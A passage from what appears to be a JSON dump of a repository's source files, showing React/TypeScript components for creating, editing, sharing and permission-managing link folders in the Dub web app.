selectDropdown = (\n    <select\n      className=\"h-full rounded-md rounded-l-none border-0 border-l border-neutral-300 bg-white py-2 pl-2 pr-8 text-xs text-neutral-500 focus:border-neutral-300 focus:outline-none focus:ring-0\"\n      value={accessLevel}\n      onChange={(e) => setAccessLevel(e.target.value as FolderAccessLevel)}\n      disabled={!canManageFolderPermissions}\n    >\n      {Object.keys(FOLDER_WORKSPACE_ACCESS).map((access) => (\n        <option value={access} key={access}>\n          {FOLDER_WORKSPACE_ACCESS[access]}\n        </option>\n      ))}\n      <option value=\"\" key=\"no-access\">\n        No access\n      </option>\n    </select>\n  );\n\n  return (\n    <>\n      <div className=\"space-y-2 border-b border-neutral-200 px-4 py-4 sm:px-6\">\n        <h3 className=\"text-lg font-medium\">\n          {step === 1\n            ? \"Create new folder\"\n            : \"Set folder workspace-level access\"}\n        </h3>\n\n        <MarkdownDescription>\n          {step === 1\n            ? \"You can use folders to [manage and organize your links](https://dub.co/help/article/link-folders).\"\n            : \"Set the [default folder access for the workspace](https://dub.co/help/article/folders-rbac). Individual user permissions can be set in the folder settings.\"}\n        </MarkdownDescription>\n      </div>\n\n      <div className=\"bg-neutral-50\">\n        <form onSubmit={onSubmit}>\n          <div className=\"flex flex-col gap-y-6 px-4 text-left sm:px-6\">\n            {step === 1 ? (\n              <div className=\"mt-6\">\n                <label>\n                  <span className=\"text-content-emphasis block text-sm font-medium\">\n                    Name\n                  </span>\n                  <div className=\"mt-2 flex rounded-md\">\n                    <input\n                      type=\"text\"\n                      required\n                      autoComplete=\"off\"\n                      className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                      aria-invalid=\"true\"\n                      placeholder=\"Acme Links\"\n                      autoFocus={!isMobile}\n                      value={name}\n                      onChange={(e) => setName(e.target.value)}\n                      onKeyDown={(e) => {\n                        if (e.key === \"Enter\") {\n                          e.preventDefault();\n                          setStep(2);\n                        }\n                      }}\n                    />\n                  </div>\n                </label>\n\n                <label className=\"mt-6 block\">\n                  <span className=\"text-content-emphasis block text-sm font-medium\">\n                    Description{\" \"}\n                    <span className=\"text-content-subtle\">(optional)</span>\n                  </span>\n                  <textarea\n                    className=\"mt-2 block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                    value={description}\n                    maxLength={FOLDER_MAX_DESCRIPTION_LENGTH}\n                    onChange={(e) => setDescription(e.target.value)}\n                    onKeyDown={(e) => {\n                      if (e.key === \"Enter\" && (e.ctrlKey || e.metaKey)) {\n                        e.preventDefault();\n                        setStep(2);\n                      }\n                    }}\n                  />\n                  <span className=\"text-content-subtle text-xs tabular-nums\">\n                    {description?.length || 0}/{FOLDER_MAX_DESCRIPTION_LENGTH}\n                  </span>\n                </label>\n              </div>\n            ) : (\n              <div className=\"mt-6\">\n                <label className=\"text-content-emphasis text-sm font-medium\">\n                  Workspace access\n                </label>\n                <div className=\"mt-2 flex h-10 items-center justify-between rounded-md border border-neutral-300 bg-white\">\n                  <div className=\"flex items-center gap-2 pl-2\">\n                    <BlurImage\n                      src={workspace.logo || `${OG_AVATAR_URL}${name}`}\n                      alt={workspace.name || \"Workspace logo\"}\n                      className=\"size-5 shrink-0 overflow-hidden rounded-full\"\n                      width={20}\n                      height={20}\n                    />\n                    <span className=\"text-sm font-normal text-neutral-500\">\n                      {workspace.name}\n                    </span>\n                  </div>\n                  {canManageFolderPermissions ? (\n                    selectDropdown\n                  ) : (\n                    <Tooltip\n                      content={\n                        <TooltipContent\n                          title=\"You can only set custom folder permissions on a Business plan and above.\"\n                          cta=\"Upgrade to Business\"\n                          href={`/${workspace.slug}/upgrade`}\n                          target=\"_blank\"\n                        />\n                      }\n                    >\n                      {selectDropdown}\n                    </Tooltip>\n                  )}\n                </div>\n              </div>\n            )}\n          </div>\n\n          <div className=\"mt-8 flex items-center justify-between border-t border-neutral-200 px-4 py-4 sm:px-6\">\n            <StepProgressBar step={step} />\n            <div className=\"flex gap-2\">\n              <Button\n                type=\"button\"\n                variant=\"secondary\"\n                text={step === 1 ? \"Cancel\" : \"Back\"}\n                className=\"h-9 w-fit\"\n                onClick={step === 1 ? onCancel : () => setStep(1)}\n                disabled={step === 2 && isCreating}\n              />\n              <Button\n                type={step === 1 ? \"button\" : \"submit\"}\n                text={step === 1 ? \"Next\" : \"Create folder\"}\n                disabled={step === 1 && !name}\n                loading={step === 2 && isCreating}\n                className=\"h-9 w-fit\"\n                onClick={(e) => {\n                  e.preventDefault();\n\n                  if (step === 1) {\n                    setStep(2);\n                  } else {\n                    onSubmit(e as unknown as FormEvent<HTMLFormElement>);\n                  }\n                }}\n              />\n            </div>\n          </div>\n        </form>\n      </div>\n    </>\n  );\n};\n\nconst StepProgressBar = ({ step }: { step: number }) => {\n  const getStepClass = (active: boolean) =>\n    active ? \"w-4 h-2 bg-neutral-400\" : \"w-1.5 h-1.5 bg-neutral-300\";\n\n  return (\n    <div className=\"flex items-center gap-1.5\">\n      <div className={`rounded-full ${getStepClass(step === 1)}`} />\n      <div className={`rounded-full ${getStepClass(step === 2)}`} />\n    </div>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/folders/edit-folder-form.tsx",
    "content": "import { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { Folder } from \"@/lib/types\";\nimport {\n  FOLDER_MAX_DESCRIPTION_LENGTH,\n  updateFolderSchema,\n} from \"@/lib/zod/schemas/folders\";\nimport { Button, useEnterSubmit } from \"@dub/ui\";\nimport { useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport * as z from \"zod/v4\";\nimport { MaxCharactersCounter } from \"../shared/max-characters-counter\";\n\nexport function EditFolderForm({\n  folder,\n}: {\n  folder: Pick<Folder, \"id\" | \"name\" | \"description\">;\n}) {\n  const { id: workspaceId } = useWorkspace();\n\n  const {\n    handleSubmit,\n    register,\n    control,\n    reset,\n    formState: { isDirty, isSubmitting },\n  } = useForm<Pick<z.infer<typeof updateFolderSchema>, \"name\" | \"description\">>(\n    {\n      defaultValues: {\n        name: folder.name,\n        description: folder.description,\n      },\n    },\n  );\n\n  const { handleKeyDown } = useEnterSubmit();\n\n  return (\n    <form\n      onSubmit={handleSubmit(async (data) => {\n        const response = await fetch(\n          `/api/folders/${folder.id}?workspaceId=${workspaceId}`,\n          {\n            method: \"PATCH\",\n            body: JSON.stringify(data),\n          },\n        );\n\n        if (!response.ok) {\n          const { error } = await response.json();\n          toast.error(error.message);\n          return;\n        }\n\n        reset(data);\n        mutatePrefix(\"/api/folders\");\n        toast.success(\"Folder updated successfully!\");\n      })}\n    >\n      <label>\n        <span className=\"text-content-emphasis block text-sm font-medium\">\n          Name\n        </span>\n        <div className=\"mt-2 flex rounded-md\">\n          <input\n            type=\"text\"\n            className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n            placeholder=\"Acme Links\"\n            {...register(\"name\", { required: true })}\n          />\n        </div>\n      </label>\n\n      <label className=\"mt-6 block\">\n        <span className=\"text-content-emphasis block text-sm font-medium\">\n          Description <span className=\"text-content-subtle\">(optional)</span>\n        </span>\n        <textarea\n          className=\"mt-2 block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n          rows={4}\n          maxLength={FOLDER_MAX_DESCRIPTION_LENGTH}\n          onKeyDown={handleKeyDown}\n          {...register(\"description\", {\n            maxLength: FOLDER_MAX_DESCRIPTION_LENGTH,\n          })}\n        />\n        <MaxCharactersCounter\n          control={control}\n          name=\"description\"\n          maxLength={FOLDER_MAX_DESCRIPTION_LENGTH}\n        />\n      </label>\n\n      <Button\n        type=\"submit\"\n        className=\"mt-6 h-8 w-fit rounded-lg px-3\"\n        disabled={!isDirty}\n        loading={isSubmitting}\n        text=\"Save changes\"\n      />\n    </form>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/folders/edit-folder-sheet.tsx",
    "content": "import { updateUserRoleInFolder } from \"@/lib/actions/folders/update-folder-user-role\";\nimport {\n  FOLDER_USER_ROLE,\n  FOLDER_WORKSPACE_ACCESS,\n} from \"@/lib/folder/constants\";\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport {\n  useCheckFolderPermission,\n  useFolderPermissions,\n} from \"@/lib/swr/use-folder-permissions\";\nimport { useFolderUsers } from \"@/lib/swr/use-folder-users\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { Folder, FolderUser } from \"@/lib/types\";\nimport { UserAvatar } from \"@/ui/users/user-avatar\";\nimport { FolderUserRole, WorkspaceRole } from \"@dub/prisma/client\";\nimport {\n  BlurImage,\n  Button,\n  DynamicTooltipWrapper,\n  Sheet,\n  Tooltip,\n  TooltipContent,\n} from \"@dub/ui\";\nimport { UserCheck } from \"@dub/ui/icons\";\nimport { cn, OG_AVATAR_URL } from \"@dub/utils\";\nimport { useSession } from \"next-auth/react\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useState } from \"react\";\nimport { toast } from \"sonner\";\nimport { mutate } from \"swr\";\nimport { AnimatedEmptyState } from \"../shared/animated-empty-state\";\nimport { X } from \"../shared/icons\";\nimport { EditFolderForm } from \"./edit-folder-form\";\n\ninterface EditFolderSheetProps {\n  showPanel: boolean;\n  setShowPanel: (showPanel: boolean) => void;\n  folder: Pick<Folder, \"id\" | \"name\" | \"description\" | \"accessLevel\">;\n  onSuccess?: () => void;\n}\n\nconst EditFolderSheetContent = ({\n  showPanel,\n  folder,\n}: EditFolderSheetProps) => {\n  const { id: workspaceId, slug, logo, name, plan } = useWorkspace();\n\n  const [isUpdating, setIsUpdating] = useState(false);\n  const [workspaceAccessLevel, setWorkspaceAccessLevel] = useState<string>();\n\n  const { isLoading: isLoadingPermissions } = useFolderPermissions();\n  const canUpdateFolder = useCheckFolderPermission(folder.id, \"folders.write\");\n\n  const { canManageFolderPermissions } = getPlanCapabilities(plan);\n\n  const {\n    users,\n    isLoading: isUsersLoading,\n    isValidating: isUsersValidating,\n  } = useFolderUsers({ folderId: folder.id, enabled: showPanel });\n\n  const updateWorkspaceAccessLevel = async (accessLevel: string) => {\n    setIsUpdating(true);\n    setWorkspaceAccessLevel(accessLevel);\n\n    const response = await fetch(\n      `/api/folders/${folder.id}?workspaceId=${workspaceId}`,\n      {\n        method: \"PATCH\",\n        headers: { \"Content-Type\": \"application/json\" },\n        body: JSON.stringify({\n          accessLevel: accessLevel === \"\" ? null : accessLevel,\n        }),\n      },\n    );\n\n    setIsUpdating(false);\n\n    if (!response.ok) {\n      const { error } = await response.json();\n      toast.error(error.message);\n      return;\n    }\n\n    toast.success(\"Workspace access updated!\");\n    await mutate(\n      (key) => typeof key === \"string\" && key.startsWith(`/api/folders`),\n    );\n  };\n\n  const selectDropdown = (\n    <select\n      className={cn(\n        \"appearance-none rounded-md border border-neutral-200 bg-white pl-3 pr-8 text-sm text-neutral-900 focus:border-neutral-300 focus:ring-neutral-300\",\n        !canUpdateFolder && \"cursor-not-allowed bg-neutral-100\",\n      )}\n      value={workspaceAccessLevel || folder?.accessLevel || \"\"}\n      disabled={\n        isUpdating ||\n        isLoadingPermissions ||\n        !canUpdateFolder ||\n        !canManageFolderPermissions\n      }\n      onChange={(e) => updateWorkspaceAccessLevel(e.target.value)}\n    >\n      {Object.keys(FOLDER_WORKSPACE_ACCESS).map((access) => (\n        <option value={access} key={access}>\n          {FOLDER_WORKSPACE_ACCESS[access]}\n        </option>\n      ))}\n      <option value=\"\" key=\"no-access\">\n        No access\n      </option>\n    </select>\n  );\n\n  return (\n    <>\n      <div className=\"sticky top-0 z-10 border-b border-neutral-200 bg-white\">\n        <div className=\"flex h-16 items-center justify-between px-6 py-4\">\n          <Sheet.Title className=\"text-lg font-semibold\">\n            Edit folder\n          </Sheet.Title>\n          <Sheet.Close asChild>\n            <Button\n              variant=\"outline\"\n              icon={<X className=\"size-5\" />}\n              className=\"h-auto w-fit p-1\"\n            />\n          </Sheet.Close>\n        </div>\n      </div>\n      <div className=\"scrollbar-hide flex size-full grow flex-col overflow-y-auto bg-zinc-50\">\n        {canUpdateFolder && (\n          <div className=\"bg-white px-8 py-6\">\n            <EditFolderForm folder={folder} />\n          </div>\n        )}\n        <div className=\"border-border-subtle border-t px-8 py-6\">\n          {/* Workspace-level access */}\n          <div>\n            <span className=\"text-sm font-medium text-neutral-900\">\n              Workspace\n            </span>\n            <div className=\"relative mt-3 flex items-center justify-between gap-4\">\n              <div className=\"flex min-w-12 items-center gap-2\">\n                <BlurImage\n                  src={logo || `${OG_AVATAR_URL}${name}`}\n                  alt={name || \"Workspace logo\"}\n                  className=\"size-8 shrink-0 overflow-hidden rounded-full\"\n                  width={32}\n                  height={32}\n                />\n                <span className=\"truncate whitespace-nowrap text-sm text-neutral-800\">\n                  {name}\n                </span>\n              </div>\n\n              {canManageFolderPermissions ? (\n                selectDropdown\n              ) : (\n                <Tooltip\n                  content={\n                    <TooltipContent\n                      title=\"You can only set custom folder permissions on a Business plan and above.\"\n                      cta=\"Upgrade to Business\"\n                      href={`/${slug}/upgrade`}\n                      target=\"_blank\"\n                    />\n                  }\n                  align=\"end\"\n                >\n                  {selectDropdown}\n                </Tooltip>\n              )}\n            </div>\n          </div>\n\n          {/* Users */}\n          <div className=\"mt-4\">\n            <span className=\"text-sm font-medium text-neutral-900\">\n              Folder Users\n            </span>\n            {!canManageFolderPermissions ? (\n              <AnimatedEmptyState\n                title=\"Folder permissions\"\n                description=\"Add and manage users permissions to this folder\"\n                cardContent={\n                  <>\n                    <UserCheck className=\"size-4 text-neutral-700\" />\n                    <div className=\"h-2.5 w-28 min-w-0 rounded-sm bg-neutral-200\" />\n                  </>\n                }\n                className=\"border-none\"\n                learnMoreHref={`/${slug}/upgrade`}\n                learnMoreText=\"Upgrade to Business\"\n              />\n            ) : (\n              <div className=\"mt-4 grid grid-cols-[minmax(0,1fr)] gap-3\">\n                {isUsersValidating || isUsersLoading || false\n                  ? [...Array(3)].map((_, i) => (\n                      <FolderUserPlaceholder key={i} />\n                    ))\n                  : folder &&\n                    users?.map((user) => (\n                      <FolderUserRow\n                        key={user.id}\n                        user={user}\n                        folder={folder}\n                      />\n                    ))}\n              </div>\n            )}\n          </div>\n        </div>\n      </div>\n    </>\n  );\n};\n\nconst EditFolderSheet = (props: EditFolderSheetProps) => {\n  return (\n    <Sheet open={props.showPanel} onOpenChange={props.setShowPanel}>\n      <EditFolderSheetContent {...props} />\n    </Sheet>\n  );\n};\n\nconst FolderUserRow = ({\n  user,\n  folder,\n}: {\n  user: FolderUser;\n  folder: Pick<Folder, \"id\" | \"name\" | \"accessLevel\">;\n}) => {\n  const { data: session } = useSession();\n  const { id: workspaceId } = useWorkspace();\n  const [role, setRole] = useState<FolderUserRole>(user.role);\n\n  const canUpdateRole = useCheckFolderPermission(\n    folder.id,\n    \"folders.users.write\",\n  );\n\n  const { executeAsync, isPending } = useAction(updateUserRoleInFolder, {\n    onSuccess: () => {\n      toast.success(\"Role updated!\");\n    },\n    onError: ({ error }) => {\n      toast.error(error.serverError);\n    },\n  });\n\n  const isWorkspaceOwner = user.workspaceRole === WorkspaceRole.owner;\n  const isCurrentUser = user.email === session?.user?.email;\n  const disableRoleUpdate =\n    !canUpdateRole || isPending || isCurrentUser || isWorkspaceOwner;\n\n  return (\n    <div key={user.id} className=\"flex items-center justify-between gap-3\">\n      <div className=\"flex min-w-12 items-center gap-3\">\n        <UserAvatar user={user} className=\"size-8\" />\n        <div className=\"min-w-0\">\n          <h3 className=\"truncate text-xs font-medium text-neutral-800\">\n            {user.name || user.email}\n          </h3>\n          <p className=\"truncate text-xs font-normal text-neutral-400\">\n            {user.email}\n          </p>\n        </div>\n      </div>\n\n      <div className=\"flex items-center gap-3\">\n        <DynamicTooltipWrapper\n          tooltipProps={\n            isWorkspaceOwner && !isCurrentUser\n              ? { content: \"Workspace owners have full access to all folders.\" }\n              : undefined\n          }\n        >\n          <select\n            className={cn(\n              \"cursor-pointer appearance-none rounded-md border border-neutral-200 bg-white pl-3 pr-8 text-sm text-neutral-900 focus:border-neutral-300 focus:ring-neutral-300\",\n              disableRoleUpdate && \"cursor-not-allowed bg-neutral-100\",\n            )}\n            value={isWorkspaceOwner ? \"owner\" : role === null ? \"\" : role}\n            disabled={disableRoleUpdate}\n            onChange={(e) => {\n              if (!folder || !workspaceId) {\n                return;\n              }\n\n              const role = (e.target.value as FolderUserRole) || null;\n\n              executeAsync({\n                workspaceId,\n                folderId: folder.id,\n                userId: user.id,\n                role,\n              });\n\n              setRole(role);\n            }}\n          >\n            {Object.keys(FOLDER_USER_ROLE).map((role) => (\n              <option value={role} key={role}>\n                {FOLDER_USER_ROLE[role]}\n              </option>\n            ))}\n\n            <option value=\"\" key=\"no-access\">\n              No access\n            </option>\n          </select>\n        </DynamicTooltipWrapper>\n      </div>\n    </div>\n  );\n};\n\nconst FolderUserPlaceholder = () => (\n  <div className=\"flex items-center justify-between gap-3\">\n    <div className=\"flex items-center gap-3\">\n      <div className=\"size-8 animate-pulse rounded-full bg-neutral-200\" />\n      <div className=\"flex flex-col\">\n        <div className=\"h-4 w-24 animate-pulse rounded bg-neutral-200\" />\n        <div className=\"mt-1 h-3 w-32 animate-pulse rounded bg-neutral-200\" />\n      </div>\n    </div>\n    <div className=\"my-px h-9 w-24 animate-pulse rounded bg-neutral-200\" />\n  </div>\n);\n\nexport function useEditFolderSheet(\n  folder: Pick<Folder, \"id\" | \"name\" | \"description\" | \"accessLevel\">,\n) {\n  const [showEditFolderSheet, setShowEditFolderSheet] = useState(false);\n\n  return {\n    setShowEditFolderSheet,\n    EditFolderSheet: (\n      <EditFolderSheet\n        showPanel={showEditFolderSheet}\n        setShowPanel={setShowEditFolderSheet}\n        folder={folder}\n      />\n    ),\n  };\n}\n"
  },
  {
    "path": "apps/web/ui/folders/folder-actions.tsx",
    "content": "import { useCheckFolderPermission } from \"@/lib/swr/use-folder-permissions\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { FolderSummary } from \"@/lib/types\";\nimport {\n  Button,\n  CircleCheck,\n  Copy,\n  LinesY,\n  PenWriting,\n  Popover,\n  ReferredVia,\n  useCopyToClipboard,\n  useKeyboardShortcut,\n} from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { Bookmark } from \"lucide-react\";\nimport Link from \"next/link\";\nimport { useRouter } from \"next/navigation\";\nimport { useState } from \"react\";\nimport { toast } from \"sonner\";\nimport { useDeleteFolderModal } from \"../modals/delete-folder-modal\";\nimport { useRenameFolderModal } from \"../modals/rename-folder-modal\";\nimport { useDefaultFolderModal } from \"../modals/set-default-folder-modal\";\nimport { useShareDashboardModal } from \"../modals/share-dashboard-modal\";\nimport { Delete, ThreeDots } from \"../shared/icons\";\nimport { useEditFolderSheet } from \"./edit-folder-sheet\";\nimport { isDefaultFolder } from \"./utils\";\n\nexport const FolderActions = ({\n  folder,\n  onDelete,\n  className,\n}: {\n  folder: FolderSummary;\n  onDelete?: () => void;\n  className?: string;\n}) => {\n  const router = useRouter();\n  const [openPopover, setOpenPopover] = useState(false);\n  const { slug: workspaceSlug, defaultFolderId } = useWorkspace();\n\n  const { RenameFolderModal, setShowRenameFolderModal } =\n    useRenameFolderModal(folder);\n\n  const { DeleteFolderModal, setShowDeleteFolderModal } = useDeleteFolderModal(\n    folder,\n    onDelete,\n  );\n\n  const { DefaultFolderModal, setShowDefaultFolderModal } =\n    useDefaultFolderModal({\n      folder,\n    });\n\n  const {\n    EditFolderSheet: folderPermissionsPanel,\n    setShowEditFolderSheet: setShowFolderPermissionsPanel,\n  } = useEditFolderSheet(folder);\n\n  const { ShareDashboardModal, setShowShareDashboardModal } =\n    useShareDashboardModal({ folderId: folder.id });\n\n  const copyFolderId = () => {\n    toast.promise(copyToClipboard(folder.id), {\n      success: \"Folder ID copied!\",\n    });\n  };\n\n  const [copiedFolderId, copyToClipboard] = useCopyToClipboard();\n  const canUpdateFolder = useCheckFolderPermission(folder.id, \"folders.write\");\n\n  const isDefault = isDefaultFolder({ folder, defaultFolderId });\n  const unsortedLinks = folder.id === \"unsorted\";\n\n  useKeyboardShortcut(\n    [\"r\", \"e\", \"i\", \"x\", \"a\", \"s\", \"d\"],\n    (e) => {\n      setOpenPopover(false);\n      switch (e.key) {\n        case \"a\":\n          if (!unsortedLinks) {\n            router.push(\n              `/${workspaceSlug}/analytics${\n                folder.id === \"unsorted\" ? \"\" : `?folderId=${folder.id}`\n              }`,\n            );\n          }\n          break;\n        case `s`:\n          if (!unsortedLinks && canUpdateFolder)\n            setShowShareDashboardModal(true);\n          break;\n        case \"e\":\n          if (!unsortedLinks && canUpdateFolder) {\n            setShowFolderPermissionsPanel(true);\n          }\n          break;\n        case \"i\":\n          if (!unsortedLinks) {\n            copyFolderId();\n          }\n          break;\n        case \"d\":\n          if (!isDefault) {\n            setShowDefaultFolderModal(true);\n          }\n          break;\n        case \"r\":\n          if (canUpdateFolder) {\n            setShowRenameFolderModal(true);\n          }\n          break;\n        case \"x\":\n          if (canUpdateFolder) {\n            setShowDeleteFolderModal(true);\n          }\n          break;\n      }\n    },\n    {\n      enabled: openPopover,\n      priority: 1,\n    },\n  );\n\n  return (\n    <>\n      <RenameFolderModal />\n      <DeleteFolderModal />\n      <DefaultFolderModal />\n      <ShareDashboardModal />\n      {folderPermissionsPanel}\n      <Popover\n        content={\n          <div className=\"divide-border-subtle grid w-full divide-y sm:w-52\">\n            {!unsortedLinks && (\n              <div className=\"flex flex-col gap-px p-2\">\n                <Button\n                  text=\"Edit\"\n                  variant=\"outline\"\n                  onClick={() => {\n                    setOpenPopover(false);\n                    setShowFolderPermissionsPanel(true);\n                  }}\n                  icon={<PenWriting className=\"h-4 w-4\" />}\n                  shortcut=\"E\"\n                  className=\"h-9 px-2 font-medium\"\n                  disabled={!canUpdateFolder}\n                  disabledTooltip={\n                    !canUpdateFolder\n                      ? \"Only folder owners can update the folder.\"\n                      : undefined\n                  }\n                />\n                <Button\n                  text=\"Delete\"\n                  variant=\"danger-outline\"\n                  onClick={() => {\n                    setOpenPopover(false);\n                    setShowDeleteFolderModal(true);\n                  }}\n                  icon={<Delete className=\"h-4 w-4\" />}\n                  shortcut=\"X\"\n                  className=\"h-9 px-2 font-medium\"\n                  disabled={!canUpdateFolder}\n                  disabledTooltip={\n                    !canUpdateFolder\n                      ? \"Only folder owners can delete a folder.\"\n                      : undefined\n                  }\n                />\n              </div>\n            )}\n\n            <div className=\"flex flex-col gap-px p-2\">\n              <Link\n                href={`/${workspaceSlug}/analytics${\n                  folder.id === \"unsorted\" ? \"\" : `?folderId=${folder.id}`\n                }`}\n              >\n                <Button\n                  text=\"View Analytics\"\n                  variant=\"outline\"\n                  onClick={() => {\n                    setOpenPopover(false);\n                  }}\n                  icon={<LinesY className=\"h-4 w-4\" />}\n                  shortcut=\"A\"\n                  className=\"h-9 px-2 font-medium\"\n                />\n              </Link>\n\n              {!unsortedLinks && canUpdateFolder && (\n                <Button\n                  text=\"Share Analytics\"\n                  variant=\"outline\"\n                  onClick={() => {\n                    setOpenPopover(false);\n                    setShowShareDashboardModal(true);\n                  }}\n                  icon={<ReferredVia className=\"size-4\" />}\n                  shortcut=\"S\"\n                  className=\"h-9 px-2 font-medium\"\n                />\n              )}\n            </div>\n\n            <div className=\"flex flex-col gap-px p-2\">\n              <Button\n                text=\"Set as Default\"\n                variant=\"outline\"\n                onClick={() => {\n                  setOpenPopover(false);\n                  setShowDefaultFolderModal(true);\n                }}\n                icon={<Bookmark className=\"h-4 w-4\" />}\n                shortcut=\"D\"\n                className=\"h-9 px-2 font-medium\"\n                disabled={isDefault}\n                disabledTooltip={\n                  isDefault ? \"This is your default folder.\" : undefined\n                }\n              />\n\n              {!unsortedLinks && (\n                <Button\n                  text=\"Copy Folder ID\"\n                  variant=\"outline\"\n                  onClick={() => copyFolderId()}\n                  icon={\n                    copiedFolderId ? (\n                      <CircleCheck className=\"h-4 w-4\" />\n                    ) : (\n                      <Copy className=\"h-4 w-4\" />\n                    )\n                  }\n                  shortcut=\"I\"\n                  className=\"h-9 px-2 font-medium\"\n                />\n              )}\n            </div>\n          </div>\n        }\n        align=\"end\"\n        openPopover={openPopover}\n        setOpenPopover={setOpenPopover}\n      >\n        <Button\n          variant=\"secondary\"\n          className={cn(\n            \"h-8 flex-1 bg-transparent px-1 outline-none transition-all duration-200\",\n            \"border-transparent data-[state=open]:border-neutral-500 sm:group-hover/card:data-[state=closed]:border-neutral-200\",\n            className,\n          )}\n          onClick={() => setOpenPopover(true)}\n          icon={<ThreeDots className=\"size-4 shrink-0 text-neutral-600\" />}\n        />\n      </Popover>\n    </>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/folders/folder-card-placeholder.tsx",
    "content": "export const FolderCardPlaceholder = () => {\n  return (\n    <div className=\"relative h-36 rounded-xl border border-neutral-200 bg-white px-5 py-4\">\n      <div className=\"flex\">\n        <div className=\"h-8 w-8 rounded-full bg-neutral-100\" />\n      </div>\n\n      <div className=\"mt-6\">\n        <div className=\"h-3 w-32 rounded-full bg-neutral-100\" />\n        <div className=\"mt-1 flex items-center gap-5\">\n          <div className=\"flex items-center gap-2\">\n            <div className=\"h-3 w-4 rounded-full bg-neutral-100\" />\n            <div className=\"h-3 w-24 rounded-full bg-neutral-100\" />\n          </div>\n        </div>\n      </div>\n    </div>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/folders/folder-card.tsx",
    "content": "\"use client\";\n\nimport { useFolderLinkCount } from \"@/lib/swr/use-folder-link-count\";\nimport {\n  useCheckFolderPermission,\n  useFolderPermissions,\n} from \"@/lib/swr/use-folder-permissions\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { Folder } from \"@/lib/types\";\nimport { Globe } from \"@dub/ui/icons\";\nimport { nFormatter, pluralize } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { FolderActions } from \"./folder-actions\";\nimport { FolderIcon } from \"./folder-icon\";\nimport { RequestFolderEditAccessButton } from \"./request-edit-button\";\nimport { isDefaultFolder } from \"./utils\";\n\nexport const FolderCard = ({ folder }: { folder: Folder }) => {\n  const {\n    id: workspaceId,\n    slug: workspaceSlug,\n    defaultFolderId,\n  } = useWorkspace();\n\n  const { isLoading: isPermissionsLoading } = useFolderPermissions();\n  const canCreateLinks = useCheckFolderPermission(\n    folder.id,\n    \"folders.links.write\",\n  );\n\n  const unsortedLinks = folder.id === \"unsorted\";\n  const isDefault = isDefaultFolder({ folder, defaultFolderId });\n\n  return (\n    <div className=\"hover:drop-shadow-card-hover relative flex flex-col justify-between rounded-xl border border-neutral-200 bg-white px-5 py-4 transition-all duration-200 sm:h-36\">\n      <Link\n        href={`/${workspaceSlug}/links${unsortedLinks ? \"\" : `?folderId=${folder.id}`}`}\n        className=\"absolute inset-0 h-full w-full\"\n      />\n      <div className=\"flex items-center justify-between\">\n        <FolderIcon folder={folder} />\n        <div className=\"relative flex items-center justify-end gap-1\">\n          {!unsortedLinks && !isPermissionsLoading && !canCreateLinks && (\n            <RequestFolderEditAccessButton\n              folderId={folder.id}\n              workspaceId={workspaceId!}\n            />\n          )}\n          <FolderActions folder={folder} />\n        </div>\n      </div>\n\n      <div>\n        <span className=\"flex items-center justify-start gap-1.5 truncate text-sm font-medium text-neutral-900\">\n          <span className=\"truncate\">{folder.name}</span>\n\n          {folder.id === \"unsorted\" && (\n            <div className=\"rounded bg-neutral-100 px-1 py-0.5\">\n              <div className=\"text-xs font-normal text-black\">Unsorted</div>\n            </div>\n          )}\n\n          {isDefault && (\n            <div className=\"rounded bg-blue-100 px-1 py-0.5\">\n              <div className=\"text-xs font-normal text-blue-700\">Default</div>\n            </div>\n          )}\n        </span>\n\n        <FolderLinksCount folder={folder} />\n      </div>\n    </div>\n  );\n};\n\nfunction FolderLinksCount({ folder }: { folder: Folder }) {\n  const { folderLinkCount, loading } = useFolderLinkCount({\n    folderId: folder.id,\n  });\n\n  return (\n    <div className=\"mt-1.5 flex items-center gap-1 text-neutral-500\">\n      <Globe className=\"size-3.5\" />\n\n      {loading ? (\n        <div className=\"h-5 w-12 animate-pulse rounded-md bg-neutral-200\" />\n      ) : (\n        <span className=\"text-sm font-normal\">\n          {folder.type === \"mega\"\n            ? \"10,000+ links\"\n            : `${nFormatter(folderLinkCount, { full: true })} ${pluralize(\n                \"link\",\n                folderLinkCount,\n              )}`}\n        </span>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/folders/folder-dropdown.tsx",
